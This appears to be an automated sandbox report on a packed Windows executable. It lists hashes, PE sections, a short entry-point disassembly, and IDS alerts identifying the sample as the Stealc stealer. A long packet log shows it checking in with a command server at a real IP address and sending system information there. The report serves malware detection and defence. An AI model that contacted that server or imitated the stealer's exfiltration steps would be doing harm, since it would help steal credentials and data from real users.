MD5:	c2340cdfae1dc172c61bf38b4c78f68f
SHA1:	ea33758bdcc9b482607858511a0d96a009951a2d
SHA256:	0e508f63d59e05e4dc3adf8d7c302e734e84377a9122b83828668f09a85abdee
SHA512:	6350ba96d32074e0e52487c375dbf162e88db25b1636d33896b4a2bbbd4a71b9f13e4d3509dc981965edee5ef9e9b0dfdab555aae269bec45285e11863e03b07
SSDEEP:	49152:7nzxkBtj/CN6m18z4ycGrVHCjo8ztdoE:zmj/Cd8JhRiNz
TLSH:	4385330444A12CAEC37A9A33712BA785777DCFBCD649B31A913D55603AA3F34F1D1A84
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........C..............X.......m.......Y.......p.....y.........`...............\.......n.....Rich............PE..L...J..f...........

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0xaa3000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66F99A4A [Sun Sep 29 18:19:54 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F06984ED17Ah
cmovo ebx, dword ptr [eax+eax]
add byte ptr [eax], al
add byte ptr [eax], al
jmp 00007F06984EF175h
add byte ptr [edx+ecx], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], cl
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add al, 0Ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add ecx, dword ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
pop es
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add al, 0Ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add al, 00h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
and al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [eax+00000000h], eax
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add eax, 0000000Ah
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], cl
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x25d050	0x64	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x25d1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x25b000	0x22800	6859ae0c3023930f7ea6942a22962832	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x25c000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x25d000	0x1000	0x200	c60c4959cc8d384ac402730cc6842bb0	False	0.1328125	data	0.9064079259880791	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x25e000	0x2a4000	0x200	73f2726cd7186101cb58e703c51ec48f	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
jxayqqfg	0x502000	0x1a0000	0x1a0000	a70d152ca5f1e3d59bdb9fd50b4633b9	False	0.994833726149339	data	7.953522495962043	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
aaxzqcwz	0x6a2000	0x1000	0x400	610cbc319c901733c38f93d01495c1f3	False	0.7451171875	data	5.798059553169107	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x6a3000	0x3000	0x2200	e3003c61c73635c502537425ae2589fe	False	0.05859375	DOS executable (COM)	0.7185794113863294	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-14T13:08:10.036287+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.5	49704	185.215.113.37	80	TCP
2024-10-14T13:08:10.266764+0200	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.5	49704	185.215.113.37	80	TCP
2024-10-14T13:08:10.273049+0200	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.37	80	192.168.2.5	49704	TCP
2024-10-14T13:08:10.500744+0200	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.5	49704	185.215.113.37	80	TCP
2024-10-14T13:08:11.729482+0200	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.37	80	192.168.2.5	49704	TCP
2024-10-14T13:08:12.717416+0200	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.5	49704	185.215.113.37	80	TCP
2024-10-14T13:08:12.943188+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49704	185.215.113.37	80	TCP
2024-10-14T13:08:22.511285+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49704	185.215.113.37	80	TCP
2024-10-14T13:08:23.957590+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49704	185.215.113.37	80	TCP
2024-10-14T13:08:24.771146+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49704	185.215.113.37	80	TCP
2024-10-14T13:08:25.479072+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49704	185.215.113.37	80	TCP
2024-10-14T13:08:27.345852+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49704	185.215.113.37	80	TCP
2024-10-14T13:08:27.763745+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49704	185.215.113.37	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 14, 2024 13:08:09.065718889 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:09.070928097 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:09.071027994 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:09.071165085 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:09.075973988 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:09.785511971 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:09.785628080 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:09.789786100 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:09.794914007 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:10.036190987 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:10.036287069 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:10.037467003 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:10.042634964 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:10.266669035 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:10.266763926 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:10.266890049 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:10.266931057 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:10.268192053 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:10.273049116 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:10.500606060 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:10.500642061 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:10.500667095 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:10.500744104 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:10.501441002 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:11.590739012 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:11.590904951 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:11.591000080 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:11.591000080 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:11.722248077 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:11.722271919 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:11.722301960 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:11.722368956 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:11.722412109 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:11.724503040 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:11.729481936 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:11.951174974 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:11.951277971 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:11.970673084 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:11.970705032 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:11.975580931 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:11.975601912 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:11.975619078 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:11.975635052 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:11.975652933 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:11.975722075 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:11.975739002 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:12.717228889 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:12.717416048 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:12.718077898 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:12.722887039 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:12.942987919 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:12.943046093 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:12.943061113 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:12.943089008 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:12.943105936 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:12.943187952 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:12.943187952 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:12.943187952 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:12.943187952 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:12.943188906 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:13.072818995 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:13.072886944 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:13.072904110 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:13.072984934 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:13.073030949 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:13.073080063 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:13.073123932 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:13.073163033 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:13.073163033 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:13.073163033 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:13.073169947 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:13.073206902 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:13.073221922 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:13.073599100 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:13.073653936 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:13.073663950 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:13.073714018 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:13.073744059 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:13.073788881 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:13.073821068 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:13.073869944 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:13.202538013 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:13.202625036 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:13.202631950 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:13.202677965 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:13.202682018 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:13.202723026 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:13.202723980 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:13.202764988 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:13.202770948 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:13.202819109 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:13.202821016 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:13.202862024 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:13.202866077 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:13.202914000 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:13.202915907 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:13.202955008 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:13.203358889 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:13.203512907 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:13.203722954 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:13.203722954 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:13.331882954 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:13.331984997 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:13.332016945 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:13.332031012 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:13.332046032 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:13.332077026 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:13.332082033 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:13.332123041 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:13.332128048 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:13.332169056 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:13.332170010 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:13.332211971 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:13.332350969 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:13.332406998 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:13.332489014 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:13.332667112 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:13.332807064 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:13.332855940 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:13.332865953 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:13.332900047 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:13.332902908 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:13.332945108 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:13.466362953 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:13.466398954 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:13.466423988 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:13.466423035 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:13.466454983 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:13.466461897 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:13.466706991 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:13.466741085 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:13.466753006 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:13.466761112 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:13.466784000 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:13.466801882 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:13.466825008 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:13.466825008 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:13.466841936 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:13.466841936 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:13.467436075 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:13.467458963 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:13.467484951 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:13.467487097 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:13.467499018 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:13.467502117 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:13.467519999 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:13.467540979 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:13.596085072 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:13.596111059 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:13.596143961 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:13.596163034 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:13.596189022 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:13.596268892 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:13.596299887 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:13.596309900 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:13.596316099 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:13.596337080 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:13.596355915 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:13.596477032 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:13.596508980 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:13.596517086 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:13.596537113 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:13.596544027 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:13.596559048 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:13.596575975 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:13.596580982 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:13.596599102 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:13.596615076 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:13.597379923 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:13.597426891 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:13.597435951 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:13.597462893 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:13.725537062 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:13.725610018 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:13.725667000 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:13.725678921 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:13.725696087 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:13.725728989 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:13.725728989 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:13.725775003 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:13.725776911 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:13.725817919 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:13.725989103 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:13.726031065 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:13.726051092 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:13.726090908 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:13.726097107 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:13.726141930 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:13.726142883 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:13.726185083 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:13.726188898 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:13.726233959 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:13.726833105 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:13.726892948 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:13.726907015 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:13.726950884 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:13.726979971 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:13.727022886 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:13.727030993 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:13.727066994 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:13.727070093 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:13.727109909 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:13.727118015 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:13.727159977 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:13.855432987 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:13.855478048 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:13.855499983 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:13.855499983 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:13.855529070 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:13.855535984 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:13.855573893 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:13.855591059 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:13.855612040 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:13.855613947 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:13.855624914 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:13.855633020 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:13.855645895 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:13.855654955 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:13.855665922 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:13.855685949 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:13.856100082 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:13.856148005 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:13.856180906 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:13.856213093 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:13.856367111 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:13.856404066 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:13.856434107 CEST	80	49704	185.215.113.37	192.168.2.5
